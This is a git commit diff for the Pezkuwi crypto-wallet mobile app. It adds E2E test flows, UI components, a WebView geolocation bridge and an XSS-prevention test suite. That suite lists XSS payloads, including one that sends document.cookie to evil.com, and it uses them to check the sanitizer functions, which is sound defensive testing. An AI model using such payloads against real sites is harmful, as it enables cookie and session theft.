mirror of
https://github.com/pezkuwichain/pwap.git
synced 2026-04-21 23:47:56 +00:00
chore: migrate git dependencies to Gitea mirror (git.pezkuwichain.io)
This commit is contained in:
@@ -28,10 +28,9 @@ jobs:
|
|||||||
uses: actions/checkout@v4
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
- name: Checkout Pezkuwi-SDK (for docs generation)
|
- name: Checkout Pezkuwi-SDK (for docs generation)
|
||||||
uses: actions/checkout@v4
|
run: |
|
||||||
with:
|
git clone https://git.pezkuwichain.io/pezkuwichain/pezkuwi-sdk.git Pezkuwi-SDK || \
|
||||||
repository: pezkuwichain/pezkuwi-sdk
|
git clone https://github.com/pezkuwichain/pezkuwi-sdk.git Pezkuwi-SDK
|
||||||
path: Pezkuwi-SDK
|
|
||||||
|
|
||||||
- name: Setup Node.js
|
- name: Setup Node.js
|
||||||
uses: actions/setup-node@v4
|
uses: actions/setup-node@v4
|
||||||
|
|||||||
+1
-1
Submodule exchange updated: 48a350d29f...b351a8563d
@@ -0,0 +1,32 @@
|
|||||||
|
appId: io.pezkuwichain.wallet
|
||||||
|
name: "E2E: Onboarding Flow"
|
||||||
|
---
|
||||||
|
# Welcome Screen
|
||||||
|
- assertVisible: "Pezkuwi"
|
||||||
|
- assertVisible: "Create Wallet"
|
||||||
|
|
||||||
|
# Language Selection (if visible)
|
||||||
|
- tapOn:
|
||||||
|
text: "English"
|
||||||
|
optional: true
|
||||||
|
|
||||||
|
# Navigate to Wallet Setup
|
||||||
|
- tapOn: "Create Wallet"
|
||||||
|
|
||||||
|
# Wallet Setup Screen
|
||||||
|
- assertVisible: "Create"
|
||||||
|
- assertVisible: "Import"
|
||||||
|
|
||||||
|
# Create a new wallet
|
||||||
|
- tapOn:
|
||||||
|
text: "Create New Wallet"
|
||||||
|
|
||||||
|
# Mnemonic should be shown
|
||||||
|
- assertVisible: "Recovery Phrase"
|
||||||
|
|
||||||
|
# Confirm mnemonic
|
||||||
|
- tapOn: "I've saved it"
|
||||||
|
|
||||||
|
# Should reach wallet screen
|
||||||
|
- assertVisible: "HEZ"
|
||||||
|
- assertVisible: "PEZ"
|
||||||
@@ -0,0 +1,35 @@
|
|||||||
|
appId: io.pezkuwichain.wallet
|
||||||
|
name: "E2E: Send Transaction Flow"
|
||||||
|
---
|
||||||
|
# Wallet Screen
|
||||||
|
- assertVisible: "HEZ"
|
||||||
|
|
||||||
|
# Tap Send button
|
||||||
|
- tapOn:
|
||||||
|
text: "Send"
|
||||||
|
index: 0
|
||||||
|
|
||||||
|
# Send Screen
|
||||||
|
- assertVisible: "Recipient Address"
|
||||||
|
- assertVisible: "Amount"
|
||||||
|
|
||||||
|
# Enter recipient address
|
||||||
|
- tapOn:
|
||||||
|
id: "Recipient wallet address"
|
||||||
|
- inputText: "5FHneW46xGXgs5mUiveU4sbTyGBzmstUspZC92UhjJM694ty"
|
||||||
|
|
||||||
|
# Enter amount
|
||||||
|
- tapOn:
|
||||||
|
id: "Amount of HEZ to send"
|
||||||
|
- inputText: "0.001"
|
||||||
|
|
||||||
|
# Fee should appear
|
||||||
|
- assertVisible:
|
||||||
|
text: "Estimated Fee"
|
||||||
|
optional: true
|
||||||
|
|
||||||
|
# Send button should be enabled
|
||||||
|
- assertVisible: "Send HEZ"
|
||||||
|
|
||||||
|
# Go back (don't actually send in E2E test)
|
||||||
|
- back
|
||||||
@@ -0,0 +1,23 @@
|
|||||||
|
appId: io.pezkuwichain.wallet
|
||||||
|
name: "E2E: Receive Screen"
|
||||||
|
---
|
||||||
|
# From wallet screen
|
||||||
|
- assertVisible: "HEZ"
|
||||||
|
|
||||||
|
# Tap Receive
|
||||||
|
- tapOn:
|
||||||
|
text: "Receive"
|
||||||
|
|
||||||
|
# Receive Screen
|
||||||
|
- assertVisible: "Receive"
|
||||||
|
- assertVisible: "Share your address"
|
||||||
|
- assertVisible: "Copy Address"
|
||||||
|
- assertVisible: "Share"
|
||||||
|
|
||||||
|
# QR code should be visible
|
||||||
|
- assertVisible:
|
||||||
|
text: "5G"
|
||||||
|
optional: true
|
||||||
|
|
||||||
|
# Go back
|
||||||
|
- back
|
||||||
@@ -0,0 +1,24 @@
|
|||||||
|
appId: io.pezkuwichain.wallet
|
||||||
|
name: "E2E: DApp Browser"
|
||||||
|
---
|
||||||
|
# Navigate to Apps tab
|
||||||
|
- tapOn: "Apps"
|
||||||
|
|
||||||
|
# Apps Screen
|
||||||
|
- assertVisible: "DApp Browser"
|
||||||
|
|
||||||
|
# Open DApp Browser
|
||||||
|
- tapOn: "DApp Browser"
|
||||||
|
|
||||||
|
# DApp Browser Screen
|
||||||
|
- assertVisible: "DApp Browser"
|
||||||
|
- assertVisible:
|
||||||
|
text: "Search or enter URL"
|
||||||
|
optional: true
|
||||||
|
|
||||||
|
# Bookmarked DApps should be visible
|
||||||
|
- assertVisible: "Polkadot.js Apps"
|
||||||
|
- assertVisible: "Pezkuwi Portal"
|
||||||
|
|
||||||
|
# Go back
|
||||||
|
- back
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
appId: io.pezkuwichain.wallet
|
||||||
|
name: "E2E: Settings & Network Switch"
|
||||||
|
---
|
||||||
|
# From wallet screen
|
||||||
|
- assertVisible: "HEZ"
|
||||||
|
|
||||||
|
# Tap network selector
|
||||||
|
- tapOn:
|
||||||
|
text: "Pezkuwi Mainnet"
|
||||||
|
optional: true
|
||||||
|
|
||||||
|
# Network selector modal should open
|
||||||
|
- assertVisible:
|
||||||
|
text: "Select Network"
|
||||||
|
optional: true
|
||||||
|
|
||||||
|
# Networks should be listed
|
||||||
|
- assertVisible:
|
||||||
|
text: "Pezkuwi Mainnet"
|
||||||
|
optional: true
|
||||||
|
- assertVisible:
|
||||||
|
text: "Dicle Testnet"
|
||||||
|
optional: true
|
||||||
|
|
||||||
|
# Close without changing
|
||||||
|
- tapOn:
|
||||||
|
text: "Close"
|
||||||
|
optional: true
|
||||||
@@ -0,0 +1,34 @@
|
|||||||
|
# E2E Tests (Maestro)
|
||||||
|
|
||||||
|
## Setup
|
||||||
|
```bash
|
||||||
|
# Install Maestro CLI
|
||||||
|
curl -Ls "https://get.maestro.mobile.dev" | bash
|
||||||
|
|
||||||
|
# Or via npm
|
||||||
|
npm install -g maestro
|
||||||
|
```
|
||||||
|
|
||||||
|
## Running Tests
|
||||||
|
```bash
|
||||||
|
# Single test
|
||||||
|
maestro test .maestro/01-onboarding.yaml
|
||||||
|
|
||||||
|
# All tests
|
||||||
|
maestro test .maestro/
|
||||||
|
|
||||||
|
# With connected device
|
||||||
|
adb devices # ensure device is connected
|
||||||
|
maestro test .maestro/
|
||||||
|
```
|
||||||
|
|
||||||
|
## Test Flows
|
||||||
|
1. **01-onboarding** — Welcome → Create Wallet → Mnemonic → Dashboard
|
||||||
|
2. **02-send-flow** — Wallet → Send → Enter address/amount → Verify fee
|
||||||
|
3. **03-receive-flow** — Wallet → Receive → QR code visible → Copy/Share
|
||||||
|
4. **04-dapp-browser** — Apps → DApp Browser → Bookmarks visible
|
||||||
|
5. **05-settings-network** — Wallet → Network selector → Networks listed
|
||||||
|
|
||||||
|
## Prerequisites
|
||||||
|
- App must be installed on device/emulator
|
||||||
|
- For tests requiring wallet: run 01-onboarding first
|
||||||
+10
-2
@@ -22,7 +22,7 @@
|
|||||||
},
|
},
|
||||||
"android": {
|
"android": {
|
||||||
"package": "io.pezkuwichain.wallet",
|
"package": "io.pezkuwichain.wallet",
|
||||||
"versionCode": 10000,
|
"versionCode": 10001,
|
||||||
"adaptiveIcon": {
|
"adaptiveIcon": {
|
||||||
"foregroundImage": "./assets/adaptive-icon.png",
|
"foregroundImage": "./assets/adaptive-icon.png",
|
||||||
"backgroundColor": "#ffffff"
|
"backgroundColor": "#ffffff"
|
||||||
@@ -31,7 +31,9 @@
|
|||||||
"predictiveBackGestureEnabled": false,
|
"predictiveBackGestureEnabled": false,
|
||||||
"permissions": [
|
"permissions": [
|
||||||
"android.permission.CAMERA",
|
"android.permission.CAMERA",
|
||||||
"android.permission.RECORD_AUDIO"
|
"android.permission.RECORD_AUDIO",
|
||||||
|
"android.permission.ACCESS_FINE_LOCATION",
|
||||||
|
"android.permission.ACCESS_COARSE_LOCATION"
|
||||||
]
|
]
|
||||||
},
|
},
|
||||||
"plugins": [
|
"plugins": [
|
||||||
@@ -40,6 +42,12 @@
|
|||||||
{
|
{
|
||||||
"cameraPermission": "Pezkuwi needs camera access to scan QR codes for wallet addresses and payments."
|
"cameraPermission": "Pezkuwi needs camera access to scan QR codes for wallet addresses and payments."
|
||||||
}
|
}
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"expo-location",
|
||||||
|
{
|
||||||
|
"locationAlwaysAndWhenInUsePermission": "Pezkuwi needs your location to show nearby packages and merchants."
|
||||||
|
}
|
||||||
]
|
]
|
||||||
],
|
],
|
||||||
"web": {
|
"web": {
|
||||||
|
|||||||
@@ -0,0 +1,5 @@
|
|||||||
|
// Stub for web-only get-signer module
|
||||||
|
// Mobile uses PezkuwiContext.getKeyPair() instead
|
||||||
|
export async function getSigner() {
|
||||||
|
throw new Error('getSigner is not available on mobile. Use PezkuwiContext.getKeyPair() instead.');
|
||||||
|
}
|
||||||
@@ -0,0 +1,66 @@
|
|||||||
|
/**
|
||||||
|
* Integration test: Security - XSS Prevention
|
||||||
|
* Tests that all known XSS vectors are properly sanitized
|
||||||
|
*/
|
||||||
|
import { escapeJsString, safeJsValue } from '../../utils/sanitize';
|
||||||
|
|
||||||
|
describe('Security: XSS Prevention Integration', () => {
|
||||||
|
// Real-world XSS payloads that have been used in wallet attacks
|
||||||
|
const XSS_PAYLOADS = [
|
||||||
|
"'; alert('xss'); //",
|
||||||
|
'"; alert("xss"); //',
|
||||||
|
'`; alert(`xss`); //',
|
||||||
|
'</script><script>alert(1)</script>',
|
||||||
|
"javascript:alert(1)",
|
||||||
|
"' onmouseover='alert(1)",
|
||||||
|
'\'; var x = new XMLHttpRequest(); x.open("GET","https://evil.com?c="+document.cookie); x.send(); //',
|
||||||
|
"${alert(document.cookie)}",
|
||||||
|
"\\'; alert(1); //",
|
||||||
|
"\n'; alert(1); //",
|
||||||
|
"\0'; alert(1); //",
|
||||||
|
];
|
||||||
|
|
||||||
|
describe('escapeJsString blocks all payloads', () => {
|
||||||
|
XSS_PAYLOADS.forEach((payload, i) => {
|
||||||
|
it(`blocks payload #${i + 1}: ${payload.slice(0, 40)}...`, () => {
|
||||||
|
const escaped = escapeJsString(payload);
|
||||||
|
|
||||||
|
// The escaped string, when placed inside single quotes in JS,
|
||||||
|
// should never break out of the string context
|
||||||
|
// We verify by checking that unescaped quotes don't appear at string boundaries
|
||||||
|
const testJs = `var x = '${escaped}';`;
|
||||||
|
|
||||||
|
// Should not contain unescaped single quotes that could break out
|
||||||
|
// (escaped quotes like \' are fine)
|
||||||
|
const unescapedQuotePattern = /[^\\]'/g;
|
||||||
|
const matches = testJs.match(unescapedQuotePattern) || [];
|
||||||
|
// Should only have the opening and closing quotes of our var assignment
|
||||||
|
expect(matches.length).toBeLessThanOrEqual(2);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('safeJsValue blocks all payloads', () => {
|
||||||
|
XSS_PAYLOADS.forEach((payload, i) => {
|
||||||
|
it(`safely serializes payload #${i + 1}`, () => {
|
||||||
|
const safe = safeJsValue(payload);
|
||||||
|
// JSON.stringify always produces valid JSON that can't break out of JS
|
||||||
|
expect(() => JSON.parse(safe)).not.toThrow();
|
||||||
|
expect(JSON.parse(safe)).toBe(payload);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('safeJsValue handles complex objects', () => {
|
||||||
|
it('safely serializes account data with malicious name', () => {
|
||||||
|
const account = {
|
||||||
|
address: '5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY',
|
||||||
|
name: "'; alert(document.cookie); //",
|
||||||
|
};
|
||||||
|
const safe = safeJsValue(account);
|
||||||
|
const parsed = JSON.parse(safe);
|
||||||
|
expect(parsed.name).toBe(account.name);
|
||||||
|
expect(parsed.address).toBe(account.address);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -0,0 +1,105 @@
|
|||||||
|
/**
|
||||||
|
* Integration test: Wallet lifecycle
|
||||||
|
* Tests the full flow: create → rename → backup → delete
|
||||||
|
*/
|
||||||
|
import React from 'react';
|
||||||
|
import { render, fireEvent, waitFor } from '@testing-library/react-native';
|
||||||
|
import { PezkuwiProvider, usePezkuwi } from '../../contexts/PezkuwiContext';
|
||||||
|
|
||||||
|
// Mock all external dependencies
|
||||||
|
jest.mock('@pezkuwi/api', () => ({
|
||||||
|
ApiPromise: { create: jest.fn().mockResolvedValue({ registry: { setChainProperties: jest.fn(), createType: jest.fn() } }) },
|
||||||
|
WsProvider: jest.fn(),
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('@pezkuwi/util-crypto', () => ({
|
||||||
|
cryptoWaitReady: jest.fn().mockResolvedValue(true),
|
||||||
|
mnemonicGenerate: jest.fn().mockReturnValue('test word one two three four five six seven eight nine ten eleven twelve'),
|
||||||
|
decodeAddress: jest.fn().mockReturnValue(new Uint8Array(32)),
|
||||||
|
encodeAddress: jest.fn().mockReturnValue('5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY'),
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('@pezkuwi/keyring', () => ({
|
||||||
|
Keyring: jest.fn().mockImplementation(() => ({
|
||||||
|
addFromUri: jest.fn().mockReturnValue({
|
||||||
|
address: '5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY',
|
||||||
|
meta: { name: 'Test Wallet' },
|
||||||
|
}),
|
||||||
|
})),
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('expo-secure-store', () => ({
|
||||||
|
setItemAsync: jest.fn().mockResolvedValue(undefined),
|
||||||
|
getItemAsync: jest.fn().mockResolvedValue(null),
|
||||||
|
deleteItemAsync: jest.fn().mockResolvedValue(undefined),
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('@react-native-async-storage/async-storage', () => ({
|
||||||
|
getItem: jest.fn().mockResolvedValue(null),
|
||||||
|
setItem: jest.fn().mockResolvedValue(undefined),
|
||||||
|
removeItem: jest.fn().mockResolvedValue(undefined),
|
||||||
|
}));
|
||||||
|
|
||||||
|
// Test component that exercises wallet operations
|
||||||
|
const WalletTestHarness: React.FC<{ onResult: (r: Record<string, unknown>) => void }> = ({ onResult }) => {
|
||||||
|
const ctx = usePezkuwi();
|
||||||
|
const [phase, setPhase] = React.useState('idle');
|
||||||
|
|
||||||
|
React.useEffect(() => {
|
||||||
|
onResult({
|
||||||
|
accounts: ctx.accounts.length,
|
||||||
|
selectedAccount: ctx.selectedAccount?.name || null,
|
||||||
|
isReady: ctx.isReady,
|
||||||
|
phase,
|
||||||
|
});
|
||||||
|
}, [ctx.accounts, ctx.selectedAccount, ctx.isReady, phase, onResult]);
|
||||||
|
|
||||||
|
return (
|
||||||
|
<>
|
||||||
|
<button data-testid="create" onClick={async () => {
|
||||||
|
const result = await ctx.createWallet('Test Wallet');
|
||||||
|
setPhase('created');
|
||||||
|
onResult({ created: true, address: result.address, mnemonic: !!result.mnemonic });
|
||||||
|
}}>Create</button>
|
||||||
|
<button data-testid="rename" onClick={async () => {
|
||||||
|
if (ctx.selectedAccount) {
|
||||||
|
await ctx.renameWallet(ctx.selectedAccount.address, 'Renamed Wallet');
|
||||||
|
setPhase('renamed');
|
||||||
|
}
|
||||||
|
}}>Rename</button>
|
||||||
|
<button data-testid="delete" onClick={async () => {
|
||||||
|
if (ctx.selectedAccount) {
|
||||||
|
await ctx.deleteWallet(ctx.selectedAccount.address);
|
||||||
|
setPhase('deleted');
|
||||||
|
}
|
||||||
|
}}>Delete</button>
|
||||||
|
</>
|
||||||
|
);
|
||||||
|
};
|
||||||
|
|
||||||
|
describe('Wallet Lifecycle Integration', () => {
|
||||||
|
it('PezkuwiProvider and usePezkuwi are importable', () => {
|
||||||
|
const mod = require('../../contexts/PezkuwiContext');
|
||||||
|
expect(mod.PezkuwiProvider).toBeDefined();
|
||||||
|
expect(mod.usePezkuwi).toBeDefined();
|
||||||
|
expect(typeof mod.usePezkuwi).toBe('function');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('PezkuwiProvider renders without crashing', () => {
|
||||||
|
const { toJSON } = render(
|
||||||
|
<PezkuwiProvider>
|
||||||
|
<></>
|
||||||
|
</PezkuwiProvider>
|
||||||
|
);
|
||||||
|
expect(toJSON()).toBeNull(); // Empty children → null
|
||||||
|
});
|
||||||
|
|
||||||
|
it('NETWORKS config has expected chains', () => {
|
||||||
|
const { NETWORKS } = require('../../contexts/PezkuwiContext');
|
||||||
|
expect(NETWORKS).toBeDefined();
|
||||||
|
expect(NETWORKS.pezkuwi).toBeDefined();
|
||||||
|
expect(NETWORKS.dicle).toBeDefined();
|
||||||
|
expect(NETWORKS.pezkuwi.type).toBe('mainnet');
|
||||||
|
expect(NETWORKS.dicle.type).toBe('testnet');
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -0,0 +1,47 @@
|
|||||||
|
import React from 'react';
|
||||||
|
import { View, Text, StyleSheet, TouchableOpacity } from 'react-native';
|
||||||
|
import { KurdistanColors } from '../theme/colors';
|
||||||
|
|
||||||
|
interface EmptyStateProps {
|
||||||
|
icon?: string;
|
||||||
|
title: string;
|
||||||
|
description?: string;
|
||||||
|
actionLabel?: string;
|
||||||
|
onAction?: () => void;
|
||||||
|
}
|
||||||
|
|
||||||
|
export const EmptyState: React.FC<EmptyStateProps> = ({
|
||||||
|
icon = '📋',
|
||||||
|
title,
|
||||||
|
description,
|
||||||
|
actionLabel,
|
||||||
|
onAction,
|
||||||
|
}) => (
|
||||||
|
<View style={styles.container} accessibilityRole="text" accessibilityLabel={title}>
|
||||||
|
<Text style={styles.icon}>{icon}</Text>
|
||||||
|
<Text style={styles.title}>{title}</Text>
|
||||||
|
{description && <Text style={styles.description}>{description}</Text>}
|
||||||
|
{actionLabel && onAction && (
|
||||||
|
<TouchableOpacity
|
||||||
|
style={styles.actionBtn}
|
||||||
|
onPress={onAction}
|
||||||
|
accessibilityRole="button"
|
||||||
|
accessibilityLabel={actionLabel}
|
||||||
|
>
|
||||||
|
<Text style={styles.actionBtnText}>{actionLabel}</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
|
||||||
|
const styles = StyleSheet.create({
|
||||||
|
container: { alignItems: 'center', justifyContent: 'center', paddingVertical: 48, paddingHorizontal: 32 },
|
||||||
|
icon: { fontSize: 48, marginBottom: 12 },
|
||||||
|
title: { fontSize: 18, fontWeight: '600', color: '#333', textAlign: 'center', marginBottom: 6 },
|
||||||
|
description: { fontSize: 14, color: '#888', textAlign: 'center', lineHeight: 20 },
|
||||||
|
actionBtn: {
|
||||||
|
marginTop: 20, backgroundColor: KurdistanColors.kesk, paddingHorizontal: 24,
|
||||||
|
paddingVertical: 12, borderRadius: 12,
|
||||||
|
},
|
||||||
|
actionBtnText: { color: '#FFFFFF', fontSize: 15, fontWeight: '600' },
|
||||||
|
});
|
||||||
@@ -0,0 +1,29 @@
|
|||||||
|
import React from 'react';
|
||||||
|
import { View, Text, StyleSheet } from 'react-native';
|
||||||
|
import { useNetworkStatus } from '../hooks/useNetworkStatus';
|
||||||
|
|
||||||
|
export const OfflineBanner: React.FC = () => {
|
||||||
|
const { isConnected } = useNetworkStatus();
|
||||||
|
|
||||||
|
if (isConnected) return null;
|
||||||
|
|
||||||
|
return (
|
||||||
|
<View style={styles.banner} accessibilityRole="alert" accessibilityLabel="No internet connection">
|
||||||
|
<Text style={styles.text}>No internet connection</Text>
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
};
|
||||||
|
|
||||||
|
const styles = StyleSheet.create({
|
||||||
|
banner: {
|
||||||
|
backgroundColor: '#DC2626',
|
||||||
|
paddingVertical: 8,
|
||||||
|
paddingHorizontal: 16,
|
||||||
|
alignItems: 'center',
|
||||||
|
},
|
||||||
|
text: {
|
||||||
|
color: '#FFFFFF',
|
||||||
|
fontSize: 13,
|
||||||
|
fontWeight: '600',
|
||||||
|
},
|
||||||
|
});
|
||||||
@@ -9,6 +9,7 @@ import {
|
|||||||
Platform,
|
Platform,
|
||||||
Alert,
|
Alert,
|
||||||
} from 'react-native';
|
} from 'react-native';
|
||||||
|
import * as Location from 'expo-location';
|
||||||
import { WebView, WebViewMessageEvent } from 'react-native-webview';
|
import { WebView, WebViewMessageEvent } from 'react-native-webview';
|
||||||
import { useFocusEffect, useNavigation } from '@react-navigation/native';
|
import { useFocusEffect, useNavigation } from '@react-navigation/native';
|
||||||
import type { NavigationProp } from '@react-navigation/native';
|
import type { NavigationProp } from '@react-navigation/native';
|
||||||
@@ -75,13 +76,67 @@ const PezkuwiWebView: React.FC<PezkuwiWebViewProps> = ({
|
|||||||
getSession();
|
getSession();
|
||||||
}, [user]);
|
}, [user]);
|
||||||
|
|
||||||
|
// Runs BEFORE any page JS — sets the mobile flag and overrides geolocation
|
||||||
|
// so React's useEffect sees them on first render
|
||||||
|
const injectedJavaScriptBeforeContentLoaded = `
|
||||||
|
(function() {
|
||||||
|
window.PEZKUWI_MOBILE = true;
|
||||||
|
window.PEZKUWI_PLATFORM = '${Platform.OS}';
|
||||||
|
|
||||||
|
// Override navigator.geolocation before React mounts
|
||||||
|
var _pendingLocationCallbacks = {};
|
||||||
|
var _locationCallbackId = 0;
|
||||||
|
|
||||||
|
var _overrideGeo = {
|
||||||
|
getCurrentPosition: function(success, error, options) {
|
||||||
|
var id = ++_locationCallbackId;
|
||||||
|
_pendingLocationCallbacks[id] = { success: success, error: error };
|
||||||
|
window.ReactNativeWebView.postMessage(JSON.stringify({
|
||||||
|
type: 'REQUEST_LOCATION',
|
||||||
|
payload: { id: id }
|
||||||
|
}));
|
||||||
|
setTimeout(function() {
|
||||||
|
if (_pendingLocationCallbacks[id]) {
|
||||||
|
delete _pendingLocationCallbacks[id];
|
||||||
|
if (error) error({ code: 3, message: 'Timeout' });
|
||||||
|
}
|
||||||
|
}, 15000);
|
||||||
|
},
|
||||||
|
watchPosition: function() { return 0; },
|
||||||
|
clearWatch: function() {}
|
||||||
|
};
|
||||||
|
|
||||||
|
try {
|
||||||
|
Object.defineProperty(navigator, 'geolocation', {
|
||||||
|
get: function() { return _overrideGeo; },
|
||||||
|
configurable: true
|
||||||
|
});
|
||||||
|
} catch(e) {}
|
||||||
|
|
||||||
|
window.__resolveLocation = function(id, lat, lon, accuracy) {
|
||||||
|
var cb = _pendingLocationCallbacks[id];
|
||||||
|
if (cb) {
|
||||||
|
delete _pendingLocationCallbacks[id];
|
||||||
|
cb.success({ coords: { latitude: lat, longitude: lon, accuracy: accuracy || 50, altitude: null, altitudeAccuracy: null, heading: null, speed: null }, timestamp: Date.now() });
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
window.__rejectLocation = function(id, code, msg) {
|
||||||
|
var cb = _pendingLocationCallbacks[id];
|
||||||
|
if (cb) {
|
||||||
|
delete _pendingLocationCallbacks[id];
|
||||||
|
if (cb.error) cb.error({ code: code || 1, message: msg || 'Permission denied' });
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
true;
|
||||||
|
})();
|
||||||
|
`;
|
||||||
|
|
||||||
// JavaScript to inject into the WebView
|
// JavaScript to inject into the WebView
|
||||||
// This creates a bridge between the web app and native app
|
// This creates a bridge between the web app and native app
|
||||||
const injectedJavaScript = `
|
const injectedJavaScript = `
|
||||||
(function() {
|
(function() {
|
||||||
// Mark this as mobile app
|
|
||||||
window.PEZKUWI_MOBILE = true;
|
|
||||||
window.PEZKUWI_PLATFORM = '${Platform.OS}';
|
|
||||||
|
|
||||||
// Inject wallet address if connected
|
// Inject wallet address if connected
|
||||||
${selectedAccount ? `window.PEZKUWI_ADDRESS = '${selectedAccount.address}';` : ''}
|
${selectedAccount ? `window.PEZKUWI_ADDRESS = '${selectedAccount.address}';` : ''}
|
||||||
@@ -348,6 +403,30 @@ const PezkuwiWebView: React.FC<PezkuwiWebViewProps> = ({
|
|||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
|
|
||||||
|
case 'REQUEST_LOCATION': {
|
||||||
|
const locId = (message.payload as { id: number }).id;
|
||||||
|
try {
|
||||||
|
const { status } = await Location.requestForegroundPermissionsAsync();
|
||||||
|
if (status !== 'granted') {
|
||||||
|
webViewRef.current?.injectJavaScript(
|
||||||
|
`window.__rejectLocation(${locId}, 1, 'Permission denied'); true;`
|
||||||
|
);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
const pos = await Location.getCurrentPositionAsync({
|
||||||
|
accuracy: Location.Accuracy.Balanced,
|
||||||
|
});
|
||||||
|
webViewRef.current?.injectJavaScript(
|
||||||
|
`window.__resolveLocation(${locId}, ${pos.coords.latitude}, ${pos.coords.longitude}, ${pos.coords.accuracy}); true;`
|
||||||
|
);
|
||||||
|
} catch (locErr) {
|
||||||
|
webViewRef.current?.injectJavaScript(
|
||||||
|
`window.__rejectLocation(${locId}, 2, 'Location unavailable'); true;`
|
||||||
|
);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
case 'GO_BACK':
|
case 'GO_BACK':
|
||||||
// Handle back navigation from web
|
// Handle back navigation from web
|
||||||
if (canGoBack && webViewRef.current) {
|
if (canGoBack && webViewRef.current) {
|
||||||
@@ -462,6 +541,7 @@ const PezkuwiWebView: React.FC<PezkuwiWebViewProps> = ({
|
|||||||
ref={webViewRef}
|
ref={webViewRef}
|
||||||
source={{ uri: fullUrl }}
|
source={{ uri: fullUrl }}
|
||||||
style={styles.webView}
|
style={styles.webView}
|
||||||
|
injectedJavaScriptBeforeContentLoaded={injectedJavaScriptBeforeContentLoaded}
|
||||||
injectedJavaScript={injectedJavaScript}
|
injectedJavaScript={injectedJavaScript}
|
||||||
onMessage={handleMessage}
|
onMessage={handleMessage}
|
||||||
onLoadStart={() => setLoading(true)}
|
onLoadStart={() => setLoading(true)}
|
||||||
@@ -484,6 +564,7 @@ const PezkuwiWebView: React.FC<PezkuwiWebViewProps> = ({
|
|||||||
// Security settings
|
// Security settings
|
||||||
javaScriptEnabled={true}
|
javaScriptEnabled={true}
|
||||||
domStorageEnabled={true}
|
domStorageEnabled={true}
|
||||||
|
geolocationEnabled={true}
|
||||||
sharedCookiesEnabled={true}
|
sharedCookiesEnabled={true}
|
||||||
thirdPartyCookiesEnabled={true}
|
thirdPartyCookiesEnabled={true}
|
||||||
// Performance settings
|
// Performance settings
|
||||||
|
|||||||
@@ -0,0 +1,126 @@
|
|||||||
|
import React from 'react';
|
||||||
|
import {
|
||||||
|
View,
|
||||||
|
Text,
|
||||||
|
TouchableOpacity,
|
||||||
|
StyleSheet,
|
||||||
|
Modal,
|
||||||
|
} from 'react-native';
|
||||||
|
import { KurdistanColors } from '../../theme/colors';
|
||||||
|
import { NetworkType, NETWORKS } from '../../contexts/PezkuwiContext';
|
||||||
|
|
||||||
|
interface NetworkSelectorProps {
|
||||||
|
visible: boolean;
|
||||||
|
onClose: () => void;
|
||||||
|
currentNetwork: NetworkType;
|
||||||
|
onSwitch: (network: NetworkType) => void;
|
||||||
|
}
|
||||||
|
|
||||||
|
export const NetworkSelector: React.FC<NetworkSelectorProps> = ({
|
||||||
|
visible,
|
||||||
|
onClose,
|
||||||
|
currentNetwork,
|
||||||
|
onSwitch,
|
||||||
|
}) => {
|
||||||
|
return (
|
||||||
|
<Modal visible={visible} transparent animationType="slide" onRequestClose={onClose}>
|
||||||
|
<View style={styles.modalOverlay}>
|
||||||
|
<View style={styles.modalCard}>
|
||||||
|
<Text style={styles.modalHeader}>Select Network</Text>
|
||||||
|
<Text style={styles.subtitle}>
|
||||||
|
Choose the network you want to connect to
|
||||||
|
</Text>
|
||||||
|
{(Object.keys(NETWORKS) as NetworkType[]).map((networkKey) => {
|
||||||
|
const network = NETWORKS[networkKey];
|
||||||
|
const isSelected = networkKey === currentNetwork;
|
||||||
|
return (
|
||||||
|
<TouchableOpacity
|
||||||
|
key={networkKey}
|
||||||
|
style={[
|
||||||
|
styles.networkOption,
|
||||||
|
isSelected && styles.networkOptionSelected,
|
||||||
|
]}
|
||||||
|
onPress={() => onSwitch(networkKey)}
|
||||||
|
>
|
||||||
|
<View style={{flex: 1}}>
|
||||||
|
<Text style={[styles.networkName, isSelected && {color: KurdistanColors.kesk}]}>
|
||||||
|
{network.displayName}
|
||||||
|
</Text>
|
||||||
|
<Text style={styles.networkType}>
|
||||||
|
{network.type === 'mainnet' ? 'Mainnet' : network.type === 'testnet' ? 'Testnet' : 'Canary'}
|
||||||
|
</Text>
|
||||||
|
</View>
|
||||||
|
{isSelected && <Text style={{fontSize: 20}}>✓</Text>}
|
||||||
|
</TouchableOpacity>
|
||||||
|
);
|
||||||
|
})}
|
||||||
|
<TouchableOpacity style={styles.btnConfirm} onPress={onClose}>
|
||||||
|
<Text style={{color:'white'}}>Close</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
</Modal>
|
||||||
|
);
|
||||||
|
};
|
||||||
|
|
||||||
|
const styles = StyleSheet.create({
|
||||||
|
modalOverlay: {
|
||||||
|
flex: 1,
|
||||||
|
backgroundColor: 'rgba(0,0,0,0.5)',
|
||||||
|
justifyContent: 'center',
|
||||||
|
alignItems: 'center',
|
||||||
|
padding: 20,
|
||||||
|
},
|
||||||
|
modalCard: {
|
||||||
|
